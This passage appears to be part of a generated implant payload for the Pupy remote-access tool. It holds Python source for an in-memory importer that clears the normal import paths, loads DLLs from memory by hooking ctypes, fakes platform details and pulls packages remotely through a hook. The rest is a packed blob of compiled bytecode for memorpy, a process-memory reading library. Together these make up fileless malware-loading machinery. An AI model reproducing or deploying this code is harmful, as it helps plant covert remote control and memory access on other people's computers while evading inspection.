gc.collect()\n\n return sys.modules[fullname]\n\nclass PupyPackageFinderImportError(ImportError):\n pass\n\nclass PupyPackageFinder(object):\n def __init__(self, path=None):\n if path and not path.startswith(\'pupy://\'):\n raise PupyPackageFinderImportError()\n\n def find_module(self, fullname, path=None, second_pass=False):\n global modules\n imp.acquire_lock()\n selected = None\n\n try:\n files=[]\n if fullname in ( \'pywintypes\', \'pythoncom\' ):\n fullname = fullname + \'27.dll\'\n files = [ fullname ]\n else:\n files = get_module_files(fullname)\n\n dprint(\'find_module({},{}) in {})\'.format(fullname, path, files))\n if not builtin_memimporter:\n files = [\n f for f in files if not f.lower().endswith((\'.pyd\',\'.dll\',\'.so\'))\n ]\n\n if not files:\n dprint(\'{} not found in {}: not in {} files\'.format(\n fullname, files, len(files)))\n\n if remote_load_package and not second_pass and not fullname.startswith(\'exposed_\'):\n parts = fullname.split(\'.\')[:-1]\n\n for i in xrange(len(parts)):\n part = \'.\'.join(parts[:i+1])\n if part in modules or part in sys.modules:\n return None\n\n try:\n if remote_load_package(fullname):\n return self.find_module(fullname, second_pass=True)\n except Exception as e:\n dprint(\'Exception: {}\'.format(e))\n\n return None\n\n criterias = [\n lambda f: any([\n f.endswith(\'/__init__\'+ext) for ext in [\n \'.pyo\', \'.pyc\', \'.py\'\n ]\n ]),\n lambda f: any ([\n f.endswith(ext) for ext in [\n \'.pyo\', \'.pyc\'\n ]\n ]),\n lambda f: any ([\n f.endswith(ext) for ext in [\n \'.pyd\', \'.py\', \'.so\', \'.dll\'\n ]\n ]),\n ]\n\n selected = None\n for criteria in criterias:\n for pyfile in files:\n if criteria(pyfile):\n selected = pyfile\n break\n\n if not selected:\n return None\n\n content = modules[selected]\n dprint(\'{} found in "{}" / size = {}\'.format(fullname, selected, len(content)))\n\n extension = selected.rsplit(".",1)[1].strip().lower()\n is_pkg = any([\n selected.endswith(\'/__init__\'+ext) for ext in [ \'.pyo\', \'.pyc\', \'.py\' ]\n ])\n\n dprint(\'--> Loading {} ({}) package={}\'.format(\n fullname, selected, is_pkg))\n\n return PupyPackageLoader(fullname, content, extension, is_pkg, selected)\n\n except Exception as e:\n dprint(\'--> Loading {} failed: {}\'.format(fullname, e))\n raise e\n\n finally:\n # Don\'t delete network.conf module\n if selected and not selected.startswith(\'network/conf\'):\n dprint(\'XXX {} remove {} from bundle / count = {}\'.format(fullname, selected, len(modules)))\n del modules[selected]\n\n imp.release_lock()\n gc.collect()\n\ndef register_package_request_hook(hook):\n global remote_load_package\n remote_load_package = hook\n\ndef register_package_error_hook(hook):\n global remote_print_error\n import rpyc\n remote_print_error = rpyc.async(hook)\n\ndef unregister_package_error_hook():\n global remote_print_error\n remote_print_error = None\n\ndef unregister_package_request_hook():\n global remote_load_package\n remote_load_package = None\n\ndef install(debug=None, trace=False):\n global __debug\n global __trace\n global modules\n\n #if debug:\n # __debug = True\n\n if trace:\n __trace = trace\n\n gc.set_threshold(128)\n\n if allow_system_packages:\n sys.path_hooks.append(PupyPackageFinder)\n sys.path.append(\'pupy://\')\n else:\n sys.meta_path = []\n sys.path = []\n sys.path_hooks = []\n sys.path_hooks = [PupyPackageFinder]\n sys.path.append(\'pupy://\')\n sys.path_importer_cache.clear()\n\n import platform\n platform._syscmd_uname = lambda *args, **kwargs: \'\'\n platform.architecture = lambda *args, **kwargs: (\n \'32bit\' if pupy.get_arch() == \'x86\' else \'64bit\', \'\'\n )\n\n try:\n if __trace:\n __trace = __import__(\'tracemalloc\')\n\n if __debug and __trace:\n dprint(\'tracemalloc enabled\')\n __trace.start(10)\n\n except Exception, e:\n dprint(\'tracemalloc init failed: {}\'.format(e))\n __trace = None\n\n import ctypes\n import ctypes.util\n import os\n\n ctypes._system_dlopen = ctypes._dlopen\n ctypes.util._system_find_library = ctypes.util.find_library\n\n def pupy_make_path(name):\n if not name:\n return\n if \'pupy:\' in name:\n name = name[name.find(\'pupy:\')+5:]\n name = os.path.relpath(name)\n name = \'/\'.join([\n x for x in name.split(os.path.sep) if x and not x in ( \'.\', \'..\' )\n ])\n\n return name\n\n def pupy_find_library(name):\n pupyized = pupy_make_path(name)\n if pupyized in modules:\n dprint("FIND LIBRARY: {} => {}".format(name, pupyized))\n return pupyized\n else:\n return ctypes.util._system_find_library(name)\n\n def pupy_dlopen(name, *args, **kwargs):\n dprint("ctypes dlopen: {}".format(name))\n from_pupy = False\n name = pupy_make_path(name)\n dprint("ctypes dlopen / pupyized: {}".format(name))\n\n if name in modules:\n if hasattr(_memimporter, \'load_library\'):\n try:\n return _memimporter.load_library(modules[name], name)\n except:\n pass\n elif hasattr(pupy, \'load_dll\'):\n try:\n return pupy.load_dll(name, modules[name])\n except:\n pass\n\n if not from_pupy:\n return ctypes._system_dlopen(name, *args, **kwargs)\n\n\n if \'pupy\' in sys.modules and hasattr(pupy, \'find_function_address\'):\n ctypes.CDLL_ORIG = ctypes.CDLL\n\n class PupyCDLL(ctypes.CDLL_ORIG):\n def __init__(self, name, **kwargs):\n super(PupyCDLL, self).__init__(name, **kwargs)\n self._FuncPtr_orig = self._FuncPtr\n self._FuncPtr = self._find_function_address\n self._name = pupy_make_path(self._name)\n dprint(\'CDLL({})\'.format(self._name))\n\n def _find_function_address(self, search_tuple):\n name, handle = search_tuple\n dprint("PupyCDLL._find_function_address: {}".format(name))\n if not type(name) in (str, unicode):\n return self._FuncPtr_orig(search_tuple)\n else:\n addr = pupy.find_function_address(self._name, name)\n dprint("PupyCDLL._find_function_address: {} = {}".format(name, addr))\n if addr:\n return self._FuncPtr_orig(addr)\n else:\n return self._FuncPtr_orig(search_tuple)\n\n ctypes.CDLL = PupyCDLL\n\n ctypes._dlopen = pupy_dlopen\n ctypes.util.find_library = pupy_find_library\n\n #if \'win\' in sys.platform:\n # import pywintypes\n if __debug:\n print \'Bundled modules:\'\n for module in modules.iterkeys():\n print \'+ {}\'.format(module)\n' in mod.__dict__ sys.modules[fullname]=mod import pupyimporter pupyimporter.install() pupyimporter.pupy_add_package('(dp1\nS\'memorpy/Process.pyc\'\np2\nS\'\\x03\\xf3\\r\\ng\\x18\\x05Yc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00@\\x00\\x00\\x00sn\\x00\\x00\\x00d\\x00\\x00d\\x01\\x00l\\x00\\x00Z\\x00\\x00d\\x00\\x00d\\x02\\x00l\\x01\\x00Te\\x00\\x00j\\x02\\x00d\\x03\\x00k\\x02\\x00r8\\x00d\\x00\\x00d\\x04\\x00l\\x03\\x00m\\x03\\x00Z\\x04\\x00\\x01n2\\x00e\\x00\\x00j\\x02\\x00d\\x05\\x00k\\x02\\x00rZ\\x00d\\x00\\x00d\\x06\\x00l\\x05\\x00m\\x05\\x00Z\\x04\\x00\\x01n\\x10\\x00d\\x00\\x00d\\x07\\x00l\\x06\\x00m\\x06\\x00Z\\x04\\x00\\x01d\\x01\\x00S(\\x08\\x00\\x00\\x00i\\xff\\xff\\xff\\xffN(\\x01\\x00\\x00\\x00t\\x01\\x00\\x00\\x00*t\\x05\\x00\\x00\\x00win32(\\x01\\x00\\x00\\x00t\\n\\x00\\x00\\x00WinProcesst\\x06\\x00\\x00\\x00darwin(\\x01\\x00\\x00\\x00t\\n\\x00\\x00\\x00OSXProcess(\\x01\\x00\\x00\\x00t\\n\\x00\\x00\\x00LinProcess(\\x07\\x00\\x00\\x00t\\x03\\x00\\x00\\x00syst\\x0b\\x00\\x00\\x00BaseProcesst\\x08\\x00\\x00\\x00platformR\\x02\\x00\\x00\\x00t\\x07\\x00\\x00\\x00ProcessR\\x04\\x00\\x00\\x00R\\x05\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Process.pyt\\x08\\x00\\x00\\x00\\x04\\x00\\x00\\x00s\\x0c\\x00\\x00\\x00\\x0c\\x01\\n\\x01\\x0f\\x01\\x13\\x01\\x0f\\x01\\x13\\x02\'\np3\nsS\'memorpy/__init__.pyc\'\np4\nS\'\\x03\\xf3\\r\\ng\\x18\\x05Yc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00@\\x00\\x00\\x00s\\x96\\x00\\x00\\x00d\\x00\\x00d\\x01\\x00l\\x00\\x00Z\\x00\\x00e\\x00\\x00j\\x01\\x00d\\x02\\x00\\x83\\x01\\x00Z\\x02\\x00e\\x02\\x00j\\x03\\x00e\\x00\\x00j\\x04\\x00\\x83\\x01\\x00\\x01e\\x00\\x00j\\x05\\x00\\x83\\x00\\x00Z\\x06\\x00e\\x06\\x00j\\x03\\x00e\\x00\\x00j\\x04\\x00\\x83\\x01\\x00\\x01e\\x02\\x00j\\x07\\x00e\\x06\\x00\\x83\\x01\\x00\\x01d\\x00\\x00d\\x01\\x00l\\x08\\x00Z\\x08\\x00d\\x00\\x00d\\x03\\x00l\\t\\x00Td\\x00\\x00d\\x03\\x00l\\n\\x00Td\\x00\\x00d\\x03\\x00l\\x0b\\x00Td\\x00\\x00d\\x03\\x00l\\x0c\\x00Td\\x00\\x00d\\x03\\x00l\\r\\x00Td\\x01\\x00S(\\x04\\x00\\x00\\x00i\\xff\\xff\\xff\\xffNt\\x07\\x00\\x00\\x00memorpy(\\x01\\x00\\x00\\x00t\\x01\\x00\\x00\\x00*(\\x0e\\x00\\x00\\x00t\\x07\\x00\\x00\\x00loggingt\\t\\x00\\x00\\x00getLoggert\\x06\\x00\\x00\\x00loggert\\x08\\x00\\x00\\x00setLevelt\\x07\\x00\\x00\\x00WARNINGt\\r\\x00\\x00\\x00StreamHandlert\\x02\\x00\\x00\\x00cht\\n\\x00\\x00\\x00addHandlert\\x03\\x00\\x00\\x00syst\\t\\x00\\x00\\x00MemWorkert\\x07\\x00\\x00\\x00Locatort\\x07\\x00\\x00\\x00Addresst\\x07\\x00\\x00\\x00Processt\\x05\\x00\\x00\\x00utils(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sP\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/__init__.pyt\\x08\\x00\\x00\\x00\\x12\\x00\\x00\\x00s\\x16\\x00\\x00\\x00\\x0c\\x01\\x0f\\x01\\x10\\x01\\x0c\\x01\\x10\\x01\\r\\x02\\x0c\\x01\\n\\x01\\n\\x01\\n\\x01\\n\\x01\'\np5\nsS\'memorpy/Address.pyc\'\np6\nS\'\\x03\\xf3\\r\\ng\\x18\\x05Yc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00@\\x00\\x00\\x00s<\\x00\\x00\\x00d\\x00\\x00d\\x01\\x00l\\x00\\x00Z\\x00\\x00d\\x02\\x00e\\x01\\x00f\\x01\\x00d\\x03\\x00\\x84\\x00\\x00\\x83\\x00\\x00YZ\\x02\\x00d\\x04\\x00e\\x03\\x00f\\x01\\x00d\\x05\\x00\\x84\\x00\\x00\\x83\\x00\\x00YZ\\x04\\x00d\\x01\\x00S(\\x06\\x00\\x00\\x00i\\xff\\xff\\xff\\xffNt\\x10\\x00\\x00\\x00AddressExceptionc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00B\\x00\\x00\\x00s\\x08\\x00\\x00\\x00e\\x00\\x00Z\\x01\\x00RS(\\x00\\x00\\x00\\x00(\\x02\\x00\\x00\\x00t\\x08\\x00\\x00\\x00__name__t\\n\\x00\\x00\\x00__module__(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyR\\x00\\x00\\x00\\x00\\x13\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x06\\x01t\\x07\\x00\\x00\\x00Addressc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00B\\x00\\x00\\x00s\\xe3\\x00\\x00\\x00e\\x00\\x00Z\\x01\\x00d\\x00\\x00Z\\x02\\x00d\\x01\\x00d\\x02\\x00\\x84\\x01\\x00Z\\x03\\x00d\\x1b\\x00d\\x1b\\x00d\\x03\\x00d\\x04\\x00\\x84\\x03\\x00Z\\x05\\x00d\\x1b\\x00d\\x05\\x00\\x84\\x01\\x00Z\\x06\\x00d\\x06\\x00\\x84\\x00\\x00Z\\x07\\x00d\\x07\\x00\\x84\\x00\\x00Z\\x08\\x00d\\x08\\x00d\\t\\x00d\\n\\x00d\\x0b\\x00\\x84\\x03\\x00Z\\t\\x00d\\x0c\\x00\\x84\\x00\\x00Z\\n\\x00d\\r\\x00\\x84\\x00\\x00Z\\x0b\\x00d\\x0e\\x00\\x84\\x00\\x00Z\\x0c\\x00d\\x0f\\x00\\x84\\x00\\x00Z\\r\\x00d\\x10\\x00\\x84\\x00\\x00Z\\x0e\\x00d\\x11\\x00\\x84\\x00\\x00Z\\x0f\\x00d\\x12\\x00\\x84\\x00\\x00Z\\x10\\x00d\\x13\\x00\\x84\\x00\\x00Z\\x11\\x00d\\x14\\x00\\x84\\x00\\x00Z\\x12\\x00d\\x15\\x00\\x84\\x00\\x00Z\\x13\\x00d\\x16\\x00\\x84\\x00\\x00Z\\x14\\x00d\\x17\\x00\\x84\\x00\\x00Z\\x15\\x00d\\x18\\x00\\x84\\x00\\x00Z\\x16\\x00d\\x19\\x00\\x84\\x00\\x00Z\\x17\\x00d\\x1a\\x00\\x84\\x00\\x00Z\\x18\\x00RS(\\x1c\\x00\\x00\\x00sF\\x00\\x00\\x00 this class is used to have better representation of memory addresses t\\x04\\x00\\x00\\x00uintc\\x04\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x02\\x00\\x00\\x00C\\x00\\x00\\x00s.\\x00\\x00\\x00t\\x00\\x00|\\x01\\x00\\x83\\x01\\x00|\\x00\\x00_\\x01\\x00|\\x02\\x00|\\x00\\x00_\\x02\\x00|\\x03\\x00|\\x00\\x00_\\x03\\x00d\\x00\\x00|\\x00\\x00_\\x05\\x00d\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x06\\x00\\x00\\x00t\\x03\\x00\\x00\\x00intt\\x05\\x00\\x00\\x00valuet\\x07\\x00\\x00\\x00processt\\x0c\\x00\\x00\\x00default_typet\\x04\\x00\\x00\\x00Nonet\\r\\x00\\x00\\x00symbolic_name(\\x04\\x00\\x00\\x00t\\x04\\x00\\x00\\x00selfR\\x06\\x00\\x00\\x00R\\x07\\x00\\x00\\x00R\\x08\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\x08\\x00\\x00\\x00__init__\\x1a\\x00\\x00\\x00s\\x08\\x00\\x00\\x00\\x00\\x01\\x0f\\x01\\t\\x01\\t\\x01t\\x05\\x00\\x00\\x00raisec\\x04\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x08\\x00\\x00\\x00C\\x00\\x00\\x00s\\x99\\x00\\x00\\x00|\\x02\\x00d\\x00\\x00k\\x08\\x00r9\\x00y \\x00t\\x01\\x00|\\x01\\x00\\x83\\x01\\x00\\x01t\\x01\\x00|\\x01\\x00\\x83\\x01\\x00}\\x02\\x00d\\x00\\x00}\\x01\\x00Wq9\\x00\\x01\\x01\\x01q9\\x00Xn\\x00\\x00|\\x01\\x00sK\\x00|\\x00\\x00j\\x02\\x00}\\x01\\x00n\\x00\\x00|\\x02\\x00sp\\x00|\\x00\\x00j\\x03\\x00j\\x04\\x00|\\x00\\x00j\\x05\\x00d\\x01\\x00|\\x01\\x00d\\x02\\x00|\\x03\\x00\\x83\\x01\\x02S|\\x00\\x00j\\x03\\x00j\\x04\\x00|\\x00\\x00j\\x05\\x00d\\x01\\x00|\\x01\\x00d\\x03\\x00|\\x02\\x00d\\x02\\x00|\\x03\\x00\\x83\\x01\\x03Sd\\x00\\x00S(\\x04\\x00\\x00\\x00Nt\\x04\\x00\\x00\\x00typet\\x06\\x00\\x00\\x00errorst\\x06\\x00\\x00\\x00maxlen(\\x06\\x00\\x00\\x00R\\t\\x00\\x00\\x00R\\x05\\x00\\x00\\x00R\\x08\\x00\\x00\\x00R\\x07\\x00\\x00\\x00t\\x04\\x00\\x00\\x00readR\\x06\\x00\\x00\\x00(\\x04\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00R\\x0e\\x00\\x00\\x00R\\x10\\x00\\x00\\x00R\\x0f\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyR\\x11\\x00\\x00\\x00 \\x00\\x00\\x00s\\x18\\x00\\x00\\x00\\x00\\x01\\x0c\\x01\\x03\\x01\\n\\x01\\x0c\\x01\\n\\x01\\x03\\x01\\x07\\x02\\x06\\x01\\x0c\\x01\\x06\\x01\\x1f\\x02c\\x03\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x05\\x00\\x00\\x00C\\x00\\x00\\x00s.\\x00\\x00\\x00|\\x02\\x00s\\x12\\x00|\\x00\\x00j\\x00\\x00}\\x02\\x00n\\x00\\x00|\\x00\\x00j\\x01\\x00j\\x02\\x00|\\x00\\x00j\\x03\\x00|\\x01\\x00d\\x01\\x00|\\x02\\x00\\x83\\x02\\x01S(\\x02\\x00\\x00\\x00NR\\x0e\\x00\\x00\\x00(\\x04\\x00\\x00\\x00R\\x08\\x00\\x00\\x00R\\x07\\x00\\x00\\x00t\\x05\\x00\\x00\\x00writeR\\x06\\x00\\x00\\x00(\\x03\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00t\\x04\\x00\\x00\\x00dataR\\x0e\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyR\\x12\\x00\\x00\\x000\\x00\\x00\\x00s\\x06\\x00\\x00\\x00\\x00\\x01\\x06\\x01\\x0c\\x01c\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00C\\x00\\x00\\x00s\\x13\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00j\\x01\\x00|\\x00\\x00j\\x02\\x00\\x83\\x01\\x00S(\\x01\\x00\\x00\\x00N(\\x03\\x00\\x00\\x00R\\x07\\x00\\x00\\x00t\\x11\\x00\\x00\\x00get_symbolic_nameR\\x06\\x00\\x00\\x00(\\x01\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\x06\\x00\\x00\\x00symbol5\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00C\\x00\\x00\\x00s\\x13\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00j\\x01\\x00|\\x00\\x00j\\x02\\x00\\x83\\x01\\x00S(\\x01\\x00\\x00\\x00N(\\x03\\x00\\x00\\x00R\\x07\\x00\\x00\\x00t\\x0f\\x00\\x00\\x00get_instructionR\\x06\\x00\\x00\\x00(\\x01\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyR\\x16\\x00\\x00\\x008\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01t\\x05\\x00\\x00\\x00bytesi\\x00\\x02\\x00\\x00i \\x00\\x00\\x00c\\x04\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x05\\x00\\x00\\x00C\\x00\\x00\\x00s>\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00j\\x01\\x00|\\x00\\x00j\\x02\\x00|\\x03\\x00\\x18|\\x02\\x00\\x83\\x02\\x00}\\x04\\x00t\\x03\\x00j\\x04\\x00|\\x04\\x00|\\x00\\x00j\\x02\\x00|\\x03\\x00\\x18d\\x01\\x00|\\x01\\x00\\x83\\x02\\x01GHd\\x00\\x00S(\\x02\\x00\\x00\\x00Nt\\x05\\x00\\x00\\x00ftype(\\x05\\x00\\x00\\x00R\\x07\\x00\\x00\\x00t\\n\\x00\\x00\\x00read_bytesR\\x06\\x00\\x00\\x00t\\x05\\x00\\x00\\x00utilst\\x08\\x00\\x00\\x00hex_dump(\\x05\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00R\\x18\\x00\\x00\\x00t\\x04\\x00\\x00\\x00sizet\\x06\\x00\\x00\\x00beforet\\x03\\x00\\x00\\x00buf(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\x04\\x00\\x00\\x00dump;\\x00\\x00\\x00s\\x04\\x00\\x00\\x00\\x00\\x01\\x1c\\x01c\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00C\\x00\\x00\\x00s\\x1c\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00d\\x00\\x00k\\t\\x00o\\x1b\\x00|\\x00\\x00j\\x00\\x00d\\x01\\x00k\\x03\\x00S(\\x02\\x00\\x00\\x00Ni\\x00\\x00\\x00\\x00(\\x02\\x00\\x00\\x00R\\x06\\x00\\x00\\x00R\\t\\x00\\x00\\x00(\\x01\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\x0b\\x00\\x00\\x00__nonzero__?\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x04\\x00\\x00\\x00C\\x00\\x00\\x00s#\\x00\\x00\\x00t\\x00\\x00|\\x00\\x00j\\x01\\x00t\\x02\\x00|\\x01\\x00\\x83\\x01\\x00\\x17|\\x00\\x00j\\x03\\x00|\\x00\\x00j\\x04\\x00\\x83\\x03\\x00S(\\x01\\x00\\x00\\x00N(\\x05\\x00\\x00\\x00R\\x03\\x00\\x00\\x00R\\x06\\x00\\x00\\x00R\\x05\\x00\\x00\\x00R\\x07\\x00\\x00\\x00R\\x08\\x00\\x00\\x00(\\x02\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00t\\x05\\x00\\x00\\x00other(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\x07\\x00\\x00\\x00__add__B\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x04\\x00\\x00\\x00C\\x00\\x00\\x00s#\\x00\\x00\\x00t\\x00\\x00|\\x00\\x00j\\x01\\x00t\\x02\\x00|\\x01\\x00\\x83\\x01\\x00\\x18|\\x00\\x00j\\x03\\x00|\\x00\\x00j\\x04\\x00\\x83\\x03\\x00S(\\x01\\x00\\x00\\x00N(\\x05\\x00\\x00\\x00R\\x03\\x00\\x00\\x00R\\x06\\x00\\x00\\x00R\\x05\\x00\\x00\\x00R\\x07\\x00\\x00\\x00R\\x08\\x00\\x00\\x00(\\x02\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00R!\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\x07\\x00\\x00\\x00__sub__E\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00C\\x00\\x00\\x00s0\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00s\\x1b\\x00|\\x00\\x00j\\x01\\x00\\x83\\x00\\x00|\\x00\\x00_\\x00\\x00n\\x00\\x00t\\x02\\x00d\\x01\\x00|\\x00\\x00j\\x00\\x00\\x16d\\x02\\x00\\x17\\x83\\x01\\x00S(\\x03\\x00\\x00\\x00Ns\\t\\x00\\x00\\x00(\\x03\\x00\\x00\\x00R\\n\\x00\\x00\\x00R\\x15\\x00\\x00\\x00t\\x03\\x00\\x00\\x00str(\\x01\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\x08\\x00\\x00\\x00__repr__H\\x00\\x00\\x00s\\x06\\x00\\x00\\x00\\x00\\x01\\t\\x01\\x12\\x01c\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x05\\x00\\x00\\x00C\\x00\\x00\\x00sR\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00s\\x1b\\x00|\\x00\\x00j\\x01\\x00\\x83\\x00\\x00|\\x00\\x00_\\x00\\x00n\\x00\\x00t\\x02\\x00d\\x01\\x00|\\x00\\x00j\\x00\\x00\\x16d\\x02\\x00t\\x02\\x00|\\x00\\x00j\\x03\\x00\\x83\\x00\\x00\\x83\\x01\\x00j\\x04\\x00d\\x03\\x00\\x83\\x01\\x00|\\x00\\x00j\\x05\\x00f\\x02\\x00\\x16\\x17\\x83\\x01\\x00S(\\x04\\x00\\x00\\x00Ns\\t\\x00\\x00\\x00t\\r\\x00\\x00\\x00string_escape(\\x06\\x00\\x00\\x00R\\n\\x00\\x00\\x00R\\x15\\x00\\x00\\x00R%\\x00\\x00\\x00R\\x11\\x00\\x00\\x00t\\x06\\x00\\x00\\x00encodeR\\x08\\x00\\x00\\x00(\\x01\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\x07\\x00\\x00\\x00__str__M\\x00\\x00\\x00s\\x06\\x00\\x00\\x00\\x00\\x01\\t\\x01\\x12\\x01c\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00C\\x00\\x00\\x00s\\r\\x00\\x00\\x00t\\x00\\x00|\\x00\\x00j\\x01\\x00\\x83\\x01\\x00S(\\x01\\x00\\x00\\x00N(\\x02\\x00\\x00\\x00R\\x05\\x00\\x00\\x00R\\x06\\x00\\x00\\x00(\\x01\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\x07\\x00\\x00\\x00__int__R\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00C\\x00\\x00\\x00s\\r\\x00\\x00\\x00t\\x00\\x00|\\x00\\x00j\\x01\\x00\\x83\\x01\\x00S(\\x01\\x00\\x00\\x00N(\\x02\\x00\\x00\\x00t\\x03\\x00\\x00\\x00hexR\\x06\\x00\\x00\\x00(\\x01\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\x07\\x00\\x00\\x00__hex__U\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x03\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x01\\x00\\x00\\x00C\\x00\\x00\\x00s\\x07\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x01\\x00\\x00\\x00R\\x06\\x00\\x00\\x00(\\x03\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00t\\x08\\x00\\x00\\x00instancet\\x05\\x00\\x00\\x00owner(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/Address.pyt\\x07\\x00\\x00\\x00__get__X\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x03\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x02\\x00\\x00\\x00C\\x00\\x00\\x00s\\x13\\x00\\x00\\x00t\\x00\\x00|\\x02\\x00\\x83\\x01\\x00|\\x00\\x00_\\x01\\x00d\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x02\\x00\\x00\\x00R\\x05\\x00\\x00\\x00R\\x06\\x00\\x00\\x00(\\x03\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00R-\\x00\\x00\\x00R\\x06\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-